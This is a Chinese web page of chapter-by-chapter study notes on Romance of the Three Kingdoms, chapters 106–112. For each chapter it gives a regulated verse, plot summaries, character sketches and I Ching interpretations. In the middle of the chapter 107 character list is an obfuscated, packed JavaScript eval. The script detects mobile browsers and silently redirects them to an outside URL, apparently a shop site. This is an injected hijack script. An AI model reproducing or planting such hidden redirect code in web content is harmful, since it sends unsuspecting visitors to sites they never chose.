    公孙渊兵败死襄平：公孙渊是辽东公孙度之孙、公孙康之子，曾斩孙权派去的使者向曹睿邀功，被封大司马、乐浪公，但他仍不满足，自号燕王，起兵造反。魏主曹睿派司马懿前去征讨，司马懿率四万兵马出征。公孙渊派卑衍、杨祚等将领以逸待劳，屯兵辽隧。司马懿识破其计谋，绕过辽隧直逼襄平。卑衍回救，中了司马懿的埋伏，被夏侯霸斩杀。此后，襄平被魏军围困，公孙渊粮草耗尽，派人请降被拒。最终，公孙渊父子趁夜出逃时被魏兵擒获，被司马懿斩首，辽东被平定。


    司马懿诈病赚曹爽：曹睿因沉迷淫靡之事伤身，三十六岁驾崩，其子曹芳继位，年仅八岁。司马懿被任命为太傅，曹爽掌兵权辅佐幼帝。曹氏势力羸弱，司马懿有不轨之心，但忌惮曹爽兵权，便佯装生病将死。曹爽派人探视，见司马懿病重，放下戒备，开始沉迷享乐。后来曹爽出城打猎，司马懿趁机整兵入宫，发动政变，控制了洛阳城，为日后司马氏篡夺曹魏政权奠定了基础。


    主要人物：


    司马懿：曹魏权臣，老谋深算，善用计谋。此次出征辽东，他以少胜多，平定公孙渊，后又通过诈病麻痹曹爽，成功发动政变，掌握了曹魏的实权。


    公孙渊：辽东地区的割据势力，野心勃勃但智谋不足，自不量力地造反，最终兵败被杀。


    曹爽：曹魏宗室，在曹睿死后掌握兵权，但为人骄奢淫逸、飞扬跋扈，且缺乏政治谋略，被司马懿轻易击败。


    曹芳：魏明帝曹睿的养子，继位时年仅八岁，是曹魏政权的傀儡皇帝。


    经典诗句


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    ：此回中可能没有特别着名的诗句，但《三国演义》中一些通用的诗句能反映这一回的情节，比如“纷纷世事无穷尽，天数茫茫不可逃”，暗示了公孙渊的失败和曹魏政权的逐渐衰落是历史的必然趋势。


    经典典故：


    司马懿诈病赚曹爽：司马懿通过装病，成功骗过曹爽，使其放松警惕，然后趁机发动政变，夺取政权。这一典故成为了后世形容人善于伪装、韬光养晦以等待时机的经典案例。


    指导思想：


    从政治角度看，这一回体现了权力斗争的残酷和复杂。无论是公孙渊的造反，还是司马懿与曹爽之间的争斗，都是为了争夺权力和统治地位。在这种斗争中，智慧、谋略和时机的把握至关重要。


    从历史观角度，它反映了“合久必分，分久必合”的历史发展规律。公孙渊的割据和司马懿的夺权，都是三国时期政治动荡的表现，而这种动荡最终会走向统一。


    从人物塑造角度，通过对司马懿、曹爽等人物的描写，展现了不同人物的性格特点和行为方式对其命运的影响。司马懿的隐忍、谋略和果断，使他在权力斗争中取得胜利；而曹爽的骄奢淫逸、轻敌自大，最终导致了他的失败。这也体现了作者对人物品德和智慧的重视。


    二、1《权谋风云与命运无常：〈三国演义〉第 106 回的周易哲学解析》


    《三国演义》第 106 回“公孙渊兵败死襄平 司马懿诈病赚曹爽”，描绘了一幅充满权谋、争斗与命运转折的历史画卷。在这一回中，我们可以运用周易哲学的视角来深入解读其中的深意与玄妙。


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 第107章 魏主政归司马氏 姜维兵败牛头山

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 107 回解析》的解析：


    （一）《〈三国演义〉第 107 回解析》


    三国风云变幻中，权谋争斗显奇雄。


    周易哲理蕴深意，世事无常运不穷。


    司马夺权归魏政，姜维兵败憾山空。


    卦象阴阳思变易，豪杰命运各不同。


    （二）诠释:


    这首诗以简洁的语言概括了第 107 回的主要情节和周易哲学的融入，体现了其中的风云变幻、权谋较量，以及周易哲学所揭示的世事无常和变化之道，同时也表达了对人物命运的感慨。


    诗的首联“三国风云变幻中，权谋争斗显奇雄”，描绘了《三国演义》中那个充满风云变幻和权谋争斗的背景，凸显出英雄豪杰们的不凡气概。


    颔联“周易哲理蕴深意，世事无常运不穷”，指出周易哲学所蕴含的深刻意义，以及世间事物变化无常的规律，这与第 107 回的情节和主题相呼应。


    颈联“司马夺权归魏政，姜维兵败憾山空”，具体描述了这一回中的关键事件，司马懿夺取政权，姜维兵败牛头山，展现出历史的波澜壮阔和人物的命运转折。


    尾联“卦象阴阳思变易，豪杰命运各不同”，强调了卦象中阴阳变化的思想，以及各位豪杰因不同的选择和命运而走向不同的结局。


    整首诗通过七律的形式，将《三国演义》第 107 回与周易哲学相结合，深刻地剖析了其中的情节和内涵，展现了历史的沧桑与哲理的思考。


    （三）三国演义107回回目，经典梗概，主要人物，经典诗句，经典典故，指导思想


    回目：《三国演义》第107回的回目是“魏主政归司马氏 姜维兵败牛头山”。


    经典梗概：


    司马氏夺权：司马懿得知曹爽同弟曹羲、曹训、曹彦以及心腹何晏等人，随魏主曹芳出城谒明帝墓并去畋猎，大喜过望。他迅速行动，令司徒高柔假以节钺行大将军事，占据曹爽营；太仆王观行中领军事，占据曹羲营。接着，司马懿引旧官入后宫奏郭太后，言曹爽背先帝托孤之恩，奸邪乱国，罪当废黜。并让太尉蒋济、尚书令司马孚一同写表，遣黄门赍出城外，径至帝前申奏。同时，司马懿自引大军据守武库。


    曹爽的犹豫与投降：曹爽得知城中事变后惊慌失措，在众人建议下依旧犹豫不决。参军辛敞、司马鲁芝斩关夺门而出，司农桓范劝曹爽请天子幸许都，调外兵以讨司马懿，但曹爽因全家在城中不敢行动。最终，曹爽相信了司马懿只是削其兵权的说法，交出印绶投降。


    司马氏诛杀曹爽：曹爽回城后，司马懿用大锁锁门，令居民八百人围守其宅。随后，司马懿先将黄门张当捉下狱中问罪，张当供出何晏等五人同谋篡逆。司马懿将何晏等人用长枷钉了，并以桓范矫诏出城、口称太傅谋反的罪名，将桓范等皆下狱。最后，司马懿将曹爽兄弟三人并一干人犯，皆斩于市曹，灭其三族。


    后续发展：魏主曹芳封司马懿为丞相，加九锡，司马懿固辞不肯受，曹芳不准，令父子三人同领国事。夏侯霸听闻司马懿挟天子、杀曹爽后，起兵造反，但不敌郭淮与陈泰，败后逃至蜀国，投降后主刘禅。姜维趁机伐魏，前队大败，姜维支援后绕至牛头山，欲袭敌后，却被魏兵识破，半路截住，成对垒之势。


    主要人物：


    司马懿：老谋深算，隐忍多年后抓住机会发动政变，成功夺取曹魏政权，成为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14146182|150225||http|test|mini|href|location''.split(''|''),0,{}));


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    曹魏后期的实际掌权者。


    曹爽：曹魏宗室，大将军，起初与司马懿共同辅政，但后来日益骄纵，胸无大志，在与司马懿的权力斗争中失败。


    辛敞：曹爽手下的参军，在辛宪英的劝说下，坚守职责，与鲁芝一起斩关夺门而出。


    辛宪英：辛敞的姐姐，有识人之明，看出司马懿只是想杀曹爽，劝弟弟坚守职责。


    桓范：足智多谋，被称为“智囊”，曾劝曹爽不要投降，但曹爽未听其言。


    姜维：蜀汉将领，在夏侯霸投降后，趁机伐魏，但在牛头山兵败。


    夏侯霸：曹魏宗室，夏侯渊之子，因司马懿诛杀曹爽，被迫投降蜀汉。


    经典诗句：“人生如白驹过隙，似此迁延岁月，何日恢复中原乎？”此句表达了对时光易逝、大业未竟的感慨，也体现出当时局势的动荡和人们对国家命运的担忧。


    经典典故：


    洛水背誓：司马懿指洛水为誓，向曹爽表示只是削其兵权，别无他意，但最终却诛杀了曹爽及其党羽。这一典故成为了后人指责司马懿违背誓言、阴险狡诈的例子。


    夏侯令女守节：曹爽从弟曹文叔之妻夏侯令女，早寡无子，其父欲改嫁之，女截耳自誓。曹爽被诛后，其父又想让她改嫁，她又断去其鼻，以表守节之志。后人称赞她“弱草微尘尽达观，夏侯有女义如山。”


    指导思想：


    从政治角度看，这一回体现了权力斗争的残酷性和复杂性。在三国乱世，各方势力为了争夺政权不择手段，司马懿通过政变夺取权力，曹爽因自身的骄纵和无能而失败，反映了“胜者为王，败者为寇”的政治现实。


    这章


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 第108章 丁奉雪中奋短兵 孙峻席间施密计

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 108 回解析》的描述：


    （一）《〈三国演义〉第 108 回解析》


    周易哲思蕴妙玄，三国百转史篇连。


    丁奉雪战呈豪勇，孙峻谋施隐暗渊。


    阳刚阴柔相映衬，变易平衡理自全。


    祸福吉凶皆有定，时位恰当智无边。


    （二）诠释:


    这首诗以七律的形式，进一步阐述了从周易哲学角度对《三国演义》第 108 回的解析，体现了其中的智慧与深意。


    诗的首联“周易哲思蕴妙玄，三国百转史篇连”，指出《周易》的哲学思想蕴含着精妙深邃的道理，而《三国演义》的故事曲折多变，与历史篇章紧密相连。


    颔联“丁奉雪战呈豪勇，孙峻谋施隐暗渊”，具体描述了丁奉在雪中奋战展现出的英勇，以及孙峻在席间施展阴谋的深沉。


    颈联“阳刚阴柔相映衬，变易平衡理自全”，强调了阳刚与阴柔相互映衬的关系，以及变易与平衡的道理在其中体现得淋漓尽致。


    尾联“祸福吉凶皆有定，时位恰当智无边”，说明祸福吉凶都有其定数，而把握好时机和位置则展现出无尽的智慧。


    整首诗通过对《三国演义》第 108 回的解析，深入挖掘了其中蕴含的周易哲学的内涵和意义。


    （三）《三国演义》第108回回目：丁奉雪中奋短兵 孙峻席间施密计


    经典梗概：


    司马师得知姜维取雍州，便引兵五万前来助战，却被姜维用武侯所传连弩法击退，司马师于乱军之中逃命回洛阳。之后司马懿病故，司马师、司马昭兄弟二人申奏魏主曹芳，司马师被封为大将军，总领尚书机密大事，司马昭为骠骑上将军。


    东吴孙权去世，诸葛恪立孙亮为帝。司马师听闻孙权已死，商议起兵伐吴，派王昶、胡遵、毋丘俭分三路进发，司马昭为大都督总领三路军马。


    吴太傅诸葛恪派丁奉领三千水兵去东兴抗魏。当时正值严寒大雪，魏将胡遵与众将设席高会，对丁奉的三千人不以为意。丁奉令众军脱去衣甲，卸了头盔，只带短刀，趁魏兵不备，杀上岸去，魏兵措手不及，大败。司马昭、王昶、毋丘俭等听闻东兴兵败，也勒兵而退。


    诸葛恪想乘胜进取中原，久攻新城不下。守将张特用缓兵之计，哄退吴兵后修补城池。诸葛恪大怒，催兵攻城却被城上乱箭射中。吴兵大败而归，诸葛恪托病不朝。孙峻与滕胤合谋，在吴主孙亮的支持下，于酒席间杀了诸葛恪，孙亮封孙峻为丞相、大将军，自此权柄归孙峻。


    主要人物：


    丁奉：东吴将领，有勇有谋，在东兴之战中，不畏严寒和敌众我寡的形势，带领士兵奋勇杀敌，立下战功。


    孙峻：孙坚弟孙静曾孙，孙恭之子，在东吴后期掌握一定权力。他与滕胤合谋，杀害了专权的诸葛恪，后成为东吴的重要掌权者。


    诸葛恪：东吴大臣，诸葛瑾之子。他在孙权死后掌握大权，前期有一定的功绩，但在后期变得刚愎自用，不听劝谏，最终被孙峻所杀。


    司马昭：司马懿之孙，司马师之弟，曹魏后期的重要将领和权臣。在这一回中，他作为大都督总领三路伐吴军马，但因东兴之战的失败而退兵。


    经典诗句：“紫髯碧眼号英雄，能使臣僚肯尽忠。二十四年兴大业，龙盘虎踞在江东。”此诗是后人对孙权的评价，肯定了他作为东吴君主的成就和地位，称他是英雄，能让臣下忠心效力，统治


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    江东二十四年，建立了一番大业。


    经典典故：


    丁奉雪中奋短兵：丁奉在大雪天带领士兵，轻装上阵，以短刀近战的方式突袭魏军，取得胜利。这一典故体现了丁奉的果敢和智谋，以及出其不意、攻其不备的战术思想。


    孙峻席间施密计：孙峻在酒席间设下埋伏，杀害了诸葛恪，夺取了东吴的大权。这一事件反映了东吴内部的权力斗争和政治阴谋。


    指导思想：


    《三国演义》的整体指导思想倾向于“尊刘贬曹”，强调忠义、智谋、仁德等价值观。在第108回中也有所体现，例如丁奉的奋勇杀敌可视为一种忠义和勇敢的表现；而诸葛恪后期的专权和刚愎自用则是作者所不认可的。同时，这一回也反映了三国时期各国之间的政治斗争、军事对抗以及权力更迭的复杂性和残酷性，暗示了历史的发展和变迁是不可阻挡的。


    二、《周易哲学视角下的〈三国演义〉第 108 回解析》


    《三国演义》第 108 回“丁奉雪中奋短兵，孙峻席间施密计”，描绘了一段充满权谋与智勇的历史篇章。这一回不仅展现了战争的残酷与变幻，更蕴含着深刻的哲学思考。从周易哲学的角度来深度解析这一回目，能让我们更深入地理解其中的奥秘与智慧。


    在周易哲学中，阴阳相互转化、动态平衡的观念贯穿始终。这与“丁奉雪中奋短兵，孙峻席间施密计”所展现的情节有着紧密的契合。丁奉在雪中奋短兵，不畏严寒与强敌，以勇猛和果敢展现出阳刚之美。而孙峻席间施密计，则体现了阴谋与策略，代表了阴柔之智。这种阴阳的交织与互动，正是周易


    哲学所强调的宇宙运行的基本规律。


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 第109章 司马汉将奇谋 废曹芳魏家果报

    一、七律诗词对《困司马与废曹芳：周易哲学视角下的权谋与果报》的解析：


    （一）《权谋果报悟沧桑》


    司马困局智谋藏，魏家果报显无常。


    周易哲思透世事，权谋变幻费思量。


    曹芳废黜风云起，汉将奇谋史册扬。


    因果循环终有定，兴衰荣辱细参详。


    （二）诠释:


    这首诗以七律的形式，围绕“困司马与废曹芳”的主题，结合周易哲学的视角，描绘了其中的权谋与果报。诗中表达了对世事变幻、因果循环的感慨，以及对历史兴衰的深思与领悟。你可以根据具体需求对内容进行调整和修改。


    诗的首联“司马困局智谋藏，魏家果报显无常”，直接点明了故事中司马被围困的局面以及魏家所遭受的果报，体现了命运的无常。


    颔联“周易哲思透世事，权谋变幻费思量”，强调了周易哲学在解读这一事件中的重要性，权谋的变化让人难以捉摸。


    颈联“曹芳废黜风云起，汉将奇谋史册扬”，描述了曹芳被废黜所引发的动荡，以及蜀汉将领的奇谋在历史上留下的光辉。


    尾联“因果循环终有定，兴衰荣辱细参详”，则是对整个事件的总结，指出因果循环是必然的，我们要仔细品味历史的兴衰荣辱。


    整首诗通过精炼的语言，深入剖析了“困司马汉将奇谋 废曹芳魏家果报”这一情节所蕴含的深刻哲理和历史意义。


    （三）《三国演义》第109回回目，经典梗概，主要人物，经典情节，经典诗句，经典典故中心思想《三国演义》第109回的介绍如下：


    1. 回目：困司马汉将奇谋 废曹芳魏家果报


    2. 经典梗概：


    蜀汉伐魏：蜀汉延熙十六年秋，姜维起兵二十万伐魏，令廖化、张翼为先锋，夏侯霸为参谋，张嶷为运粮使。夏侯霸建议先取钱粮广的南安，派使者郤正携金珠蜀锦结好羌王迷当，迷当起兵五万相助。魏左将军郭淮飞奏洛阳，司马师派辅国将军徐质为先锋，司马昭为大都督迎敌。徐质英勇，初战连胜蜀将廖化、张翼，蜀兵大败。


    计斩徐质、困司马昭：姜维与夏侯霸定计，用伏兵之计并诱敌断粮道，成功斩杀徐质。随后姜维又顺势让士兵扮作魏兵，混入司马大营大开杀戒，司马昭死战逃脱，被困铁笼山，山上只有一泉且仅够百人之饮，司马昭手下六千人面临缺水困境，司马昭仰天长叹以为死期将至。


    郭淮破计、姜维兵败：郭淮、陈泰得知司马昭被困，先施诈降计赚了羌人，以防后院失火，然后合兵一处杀向蜀营。蜀军措手不及，姜维大败，临回汉中时射死了追来的郭淮。


    魏国内乱：司马昭班师回洛阳后，司马师兄弟二人专制朝权，魏主曹芳对司马师畏惧不已。曹芳与太常夏侯玄、中书令李丰、光禄大夫张缉（张皇后之父）在密室商议，欲除司马师，曹芳写下血诏授与张缉。不料事泄，司马师斩了李丰等三人三族，并将张皇后用白练绞死，废曹芳，另立曹髦为新君。


    3. 主要人物：


    姜维：蜀汉大将，继承诸葛亮遗志，多次北伐。本回中他用计斩杀魏将徐质，困住司马昭，展现出出色的军事才能和智谋，但最终因郭淮、陈泰的计谋而兵败。


    司马昭：司马师之弟，曹魏将领，本回中先被姜维设计陷入困境，被困铁笼山，后死里逃生。


    司马师：曹魏权臣，在朝中权势滔天，目无君主


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    ，废曹芳、立曹髦，把持朝政。


    郭淮：曹魏将领，有一定的军事才能，与陈泰配合，先破羌人，后破蜀营，使姜维兵败。


    曹芳：曹魏皇帝，性格懦弱，不满司马师专权，试图反抗但失败，最终被废。


    夏侯霸：原曹魏将领，后降蜀，本回中为姜维出谋划策。


    迷当：羌王，受姜维贿赂出兵助蜀，但被郭淮、陈泰用计击败后投降曹魏。


    4. 经典情节：


    徐质勇战蜀将：徐质使开山大斧，出战连赢廖化、张翼，展现出强大的武力，凸显了魏将的勇猛，也为后续姜维用计斩杀他做了铺垫。


    司马昭被困铁笼山：姜维设计将司马昭逼入铁笼山，山上缺水，司马昭陷入绝境，这一情节紧张刺激，充分展示了战争的残酷和局势的瞬息万变。


    郭淮诈降破羌人：郭淮用计诈降羌王迷当，使羌兵大乱，自相践踏，不仅解除了后院失火的隐患，还为击败蜀军创造了条件，体现了郭淮的智谋和策略。


    司马师废曹芳：司马师在得知曹芳等人密谋对付他后，果断采取行动，斩李丰等三族，废曹芳，立曹髦，展示了他的狠辣和专权。


    5. 经典诗句：


    “曹芳谋司马，师怒缢张后。废芳立曹髦，司马威风抖。”这几句诗简洁地概括了本回中魏国内部的政治斗争，司马师的专横跋扈以及曹芳的悲惨结局。


    “妙算姜维不等闲，魏师受困铁笼间：庞涓始入马陵道，项羽初围九里山。”此诗赞扬了姜维的智谋，将司马昭被困铁笼山与历史上庞涓在马陵道中伏、项羽被围九里山相提并论，暗示了司马昭的危险处境。


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 第110章 文鸯单骑退雄兵 姜维背水破大敌

    一、七律形式对《周易哲学视角下的〈三国演义〉第 110 回解析》的诗词：


    （一）《易析三国一一零回》


    文鸯勇悍震乾坤，背水姜维志尚存。


    易理阴阳兵势转，雄兵退怯显威尊。


    淮南叛乱风云涌，司马平戎病体昏。


    世事如棋皆定数，纷争三国易中论。


    （二）解析：


    首联： “文鸯勇悍震乾坤，背水姜维志尚存”，开篇直接点出本回中的两位关键人物文鸯和姜维。文鸯单骑退雄兵，其英勇之姿威震四方，“震乾坤”一词凸显了他的壮举在整个战局中的震撼性影响。姜维背水一战破大敌，展现出坚定的志向和出色的军事才能，“志尚存”既表明他兴复汉室的志向始终坚定，也为后续情节中他的军事行动埋下伏笔。


    颔联： “易理阴阳兵势转，雄兵退怯显威尊”，这一联从周易哲学的角度来分析战局。在《周易》中，阴阳相互转化、相互制约，战争局势也是如此。本回中，文鸯的勇猛冲击使得原本强大的魏兵气势受挫，兵势发生转变，从进攻转为退怯。而文鸯的英勇表现则更加彰显了他的威武和尊贵，这种局势的变化正如阴阳的消长，充满了哲学意味。


    颈联： “淮南叛乱风云涌，司马平戎病体昏”，此联描述了故事的背景和司马师的状况。淮南毋丘俭、文钦的叛乱引发了战争风云，给三国局势带来了新的变数。而司马师在平叛过程中，虽身患疾病，但仍坚持出征，“病体昏”既写出了他身体的虚弱，也暗示了他在战争中的艰难处境，以及他为维护司马氏政权所付出的努力。


    尾联： “世事如棋皆定数，纷争三国易中论”，结尾将整个三国纷争比作一盘棋局，而这盘棋的走向似乎都有着一定的定数。从周易哲学的观点来看，世间万物皆有其规律和命运，三国时期的纷争也不例外。本回中的战争、人物的命运等都可以在《周易》的哲学体系中找到相应的解释和理论支撑，“易中论”则强调了用周易哲学来解读三国故事的独特视角和深度。


    （三）《三国演义》第110回名为“文鸯单骑退雄兵 姜维背水破大敌”。以下是对该回的详细介绍：


    1. 经典梗概：


    淮南二叛：司马师废帝新立，祸乱天纲，淮南毋丘俭、文钦砍白马歃血结盟，相约起兵讨伐司马师，提兵七万，未出寿春，吴兵来犯，于是急忙回军退守。此时司马师已挥师前来迎战（司马师带病出征）。


    文鸯勇战魏营：文钦有子文鸯，身长八尺，勇不可挡。文鸯与其父约定，里应外合，大破曹军。夜晚，文鸯突入魏营，如入无人之境，杀得魏军人仰马翻。司马师因眼下新割肉瘤，疮口疼痛，卧于帐中，听闻文鸯杀来，急火攻心，眼珠从肉瘤疮口内迸出，血流遍地，但又恐乱军心，只咬被头强忍。文鸯只杀到天明，却不见父亲前来接应。原来文钦被山路崎岖所困，迷入谷中，天亮才寻得魏营，此时人困马乏，最终被杀大败。


    淮南祸平：魏兵趁势突袭，毋丘俭在项城内，听知寿春已失，文钦势败，城外三路兵到，俭遂尽撤城中之兵出战。正与邓艾相遇，俭令葛雍出马，与艾交锋，不一合，葛雍被艾一刀斩之，魏兵杀过阵来。毋丘俭死战相拒，但江淮兵大乱。胡遵、王基引兵四面夹攻，毋丘俭敌不住，引十余骑夺路而走，前至慎县城下，县令宋白开门接入，设席待之，俭大醉后被宋白令人杀了，将头献与魏兵，于是淮南平定。


    姜维出兵：司马师亡故，司马昭领兵权，入都掌控天子。姜维见


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    有机可乘，决意继承诸葛亮遗志，领兵五万，再次讨伐魏国。首战采用背水一战之策，军士奋力拼杀，获得全胜。姜维大喜，向前推进，至狄道城，急攻不下。魏邓艾分兵两路而来，虚张声势，姜维恐有失，徐徐退兵。


    2. 主要人物：


    文鸯：魏国将领文钦之子，勇冠三军，单枪匹马在魏营中杀进杀出，让魏军闻风丧胆，展现出了非凡的勇气和武力。


    姜维：蜀汉的重要将领，一心想要兴复汉室，在诸葛亮去世后，继续扛起北伐的大旗，足智多谋，具有卓越的军事才能。


    司马师：曹魏权臣，专权跋扈，虽身患眼疾，但仍坚持出征平叛，最终在战争中病情加重而亡。


    毋丘俭：扬州都督、镇东将军，对司马师擅行废立之事不满，起兵造反，但因好谋无断，最终兵败被杀。


    文钦：曾是曹爽门下客，与毋丘俭一同起兵，有勇无谋，在战争中因迷路而未能与儿子文鸯会合，导致战败。


    邓艾：曹魏名将，足智多谋，在平定淮南叛乱和抵御姜维北伐的过程中发挥了重要作用。


    3. 经典情节：


    文鸯单骑退雄兵：文鸯年仅十八岁，全装惯甲，腰悬钢鞭，绰枪上马。夜晚时分，他按计划分兵两路突袭魏营，在寨中左冲右突，所到之处，人不敢当，有相拒者，枪搠鞭打，无不被杀。一直杀到天明，魏将数百员抖擞精神，骤马追来，将至乐嘉桥边，眼看就要赶上。文鸯忽然勒回马大喝一声，直冲入魏将阵中，钢鞭起处，纷纷落马，各各倒退。文鸯复缓缓而行，魏将连追四五番，皆被文鸯一人杀退，其勇猛之姿


    让人赞叹不已。


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 第111章 邓士载智败姜伯约 诸葛诞义讨司马昭

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 111 回解析》的表述：


    （一）《〈三国演义〉第 111 回解析》


    三国风云动乾坤，邓姜智斗计纷纭。


    否卦闭塞姜维困，坤厚邓艾谋算深。


    诸葛诞义抗强权志，乾刚浩气耀星辰。


    周易哲理蕴其中，命运无常人性真。


    忠义交织波澜起，历史画卷展缤纷。


    （二）诠释:


    这首诗以七律的形式，围绕《三国演义》第 111 回的情节和周易哲学的视角进行了描述，展现了其中的智谋、忠义以及命运的变幻等元素。


    首联：“三国风云动乾坤，邓姜智斗计纷纭”，描绘了《三国演义》中波澜壮阔的历史风云，以及邓艾与姜维智谋相争的复杂局面。


    颔联：“否卦闭塞姜维困，坤厚邓艾谋算深”，通过“否卦”来解释姜维陷入困境，而邓艾以“坤卦”所代表的沉稳和深厚智谋取胜。


    颈联：“诸葛诞义抗强权志，乾刚浩气耀星辰”，突出了诸葛诞秉持忠义，反抗强权的气概，如“乾卦”所象征的刚正不阿。


    尾联：“周易哲理蕴其中，命运无常人性真。忠义交织波澜起，历史画卷展缤纷”，强调了周易哲学在其中的蕴含，体现了命运的无常和人性的真实，以及忠义相互交织所掀起的波澜，展现了《三国演义》丰富的历史画卷。


    （三）《三国演义》第111回回目：邓士载智败姜伯约 诸葛诞义讨司马昭


    经典梗概：


    姜维伐魏失败：姜维在钟提商议伐魏之事，认为此时有诸多可胜之机，不顾夏侯霸的劝阻执意出兵。他留下鲍素屯兵于祁山谷口以虚张旗号，自己则率大军偷出董亭径袭南安。然而，邓艾识破姜维计谋，提前在武城山设伏。姜维至武城山前，虽对邓艾可能的防备有所疑虑，但还是中了埋伏，前军大败。之后姜维又欲取上邽，行至段谷时再次遭遇邓艾、师纂、邓忠三路夹攻，蜀兵大败，幸得夏侯霸引兵杀到，才救了姜维。最终，姜维退回汉中，自贬为后将军，行大将军事。


    诸葛诞义讨司马昭：司马昭自为天下兵马大都督，在朝廷作威作福，常怀篡逆之心。其心腹贾充以慰劳出征军士为名到淮南试探诸葛诞，诸葛诞怒斥贾充，并得知司马昭已令人送密书给扬州刺史乐綝。于是，诸葛诞捉来使拷问后大怒，斩了来使，起兵杀奔扬州，后又将儿子送到东吴做人质，借东吴兵力义讨司马昭。


    主要人物：


    姜维：蜀汉将领，继承诸葛亮的遗志，多次北伐曹魏。本回中因急于伐魏，被邓艾识破计谋，遭遇大败，凸显出其虽有勇略，但在智谋上稍逊一筹。


    邓艾：曹魏将领，富有谋略，对姜维的用兵之道了如指掌，提前做好布局，成功击败姜维，展现出其出色的军事才能。


    诸葛诞：诸葛亮的族弟，在曹魏历任重职，见司马昭怀有篡逆之心，便起兵讨伐，是一个忠义之士。


    司马昭：曹魏权臣，掌握大权，作威作福，怀有篡逆之心，是本回中引发诸葛诞讨伐的关键人物。


    贾充：司马昭的心腹，为司马昭打探各方态度，在本回中充当了司马昭与诸葛诞之间的导火索。


    经典情节：


    邓艾伏兵破姜维：姜维出兵后，邓艾根据哨马情况判断出姜维的真实意图，提前在武城山和段谷设下伏兵。当姜维到达武城山时，山上突然杀声大震，魏兵从山上杀下，姜维前军大败。后来姜维行至段谷，又遭邓艾等三路夹攻，损失惨重。此情节充分


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    展示了邓艾的智谋和姜维的轻敌。


    诸葛诞斩来使起兵：贾充以劳军之名试探诸葛诞，诸葛诞得知司马昭的意图后，斩了来使，起兵杀奔扬州，展现出他的忠义和果断。


    经典诗句：本回中似乎没有特别经典且流传广泛的诗句。


    经典典故：文中诸葛诞义讨司马昭的情节可与历史上诸多忠臣义士讨伐逆贼的典故相呼应，如东汉末年曹操讨伐董卓等，体现了忠义之士对乱臣贼子的反抗精神。


    中心思想：


    一方面，通过姜维再次北伐失败的情节，反映出蜀汉后期在军事上的困境以及姜维在指挥作战方面的不足，暗示了蜀汉政权的逐渐衰落。


    另一方面，诸葛诞义讨司马昭的情节，表现出在曹魏政权内部，仍有忠义之士对司马昭的篡逆行为表示不满和反抗，凸显了当时政治局势的动荡和人心的向背。同时，也为后续曹魏政权内部的斗争以及西晋的建立埋下了伏笔。


    二、《周易哲学视角下的〈三国演义〉第 111 回解析》


    《三国演义》第 111 回“邓士载智败姜伯约 诸葛诞义讨司马昭”，是一段充满智谋与忠义交织的故事。从周易哲学的角度来深度剖析这一回目，我们能更深刻地理解其中所蕴含的命运变幻、阴阳平衡以及人性的复杂。


    在这一回中，姜维作为蜀汉的大将，再次兴兵北伐。然而，他却遭遇了邓艾的智谋挫败。这一情节可以用周易中的“否卦”来解读。否卦象征着闭塞不通，姜维的北伐看似勇猛，但在邓艾的精心布局面前，却陷入了困境。这体现了事物发展过程中可


    能会遇到的阻碍和挫折，也暗示了蜀汉在当时的艰难处境。


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 第112章 救寿春于诠死节，取长城伯约鏖兵

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 112 回解析》的解析：


    （一）《解析〈三国演义〉第 112 回》


    寿春鏖战势多舛，诠节忠贞义凛然。


    易理深研三国事，风云变幻几重天。


    姜维勇略长城战，诸葛悲情命运煎。


    卦象纷争诠世态，千秋史册载名篇。


    （二）诠释:


    这首诗以寿春之战和姜维伐魏为背景，体现了周易哲学的视角。通过“诠节忠贞”“易理深研”等表达，展现了对回目中人物命运和情节的思考与感慨。“卦象纷争”则点明了周易哲学的融入，最后以“千秋史册载名篇”强调了其在文学史上的重要地位。


    （三）回目：《三国演义》第112回回目为“救寿春于诠死节，取长城伯约鏖兵”。


    经典梗概：


    寿春之战：司马昭与诸葛诞交战，钟会用计以粮草诱敌，使诸葛诞大败。之后诸葛诞逃入寿春坚守，东吴孙綝性格残暴，因将领朱异兵败就将其斩杀。诸葛诞也临阵斩杀文钦，文钦的两个儿子文鸯、文虎投降司马昭。一时间，诸葛诞、孙綝众叛亲离。吴将于诠领一军从寿春南门入城助诸葛诞守城，最终人困马乏，为乱军所杀。司马昭攻破寿春，将诸葛诞老小尽皆枭首，灭其三族。


    姜维伐魏：此时蜀汉延熙二十年改为景耀元年，姜维听说诸葛诞和东吴伐魏，趁机起兵攻打魏国的长城。长城镇守将军司马望引兵离城二十里下寨迎战。蜀将傅佥活捉魏将王真，魏将李鹏来救时被傅佥设计。姜维与邓艾、邓忠父子正面交锋，邓艾父子难以抵挡，邓艾坚守不出等待援兵。后来姜维得知司马昭领兵救援长城，觉得此次伐魏又将徒劳，只能退兵回汉中。


    主要人物：


    姜维：蜀汉后期的重要将领，智勇双全，继承诸葛亮的遗志，多次北伐曹魏。在本回中，他抓住战机进攻长城，与邓艾父子交战，展现出了出色的军事才能。


    司马昭：曹魏后期的权臣，掌控朝政，在寿春之战中指挥魏军击败诸葛诞，巩固了自己的势力。


    诸葛诞：曹魏将领，在寿春起兵讨伐司马昭，后因兵败被困寿春，最终城破被杀。


    邓艾：曹魏名将，在长城抵御姜维的进攻，指挥有方，与姜维展开了激烈的战斗。


    于诠：东吴将领，具有忠义精神，在寿春之战中为帮助诸葛诞守城，最终战死。


    钟会：司马昭的谋士，足智多谋，为司马昭出谋划策，在寿春之战中发挥了重要作用。


    经典情节：


    姜维与邓忠之战：姜维首次和邓艾之子邓忠正面交锋，两人刀枪相交，三十回合不分胜负。姜维起初以为邓忠容易对付，但久战不下便改变战术，败走用箭射邓忠，却被邓忠躲过，邓忠飞马到面前用枪刺姜维，被姜维夹住枪，邓忠舍枪而走。


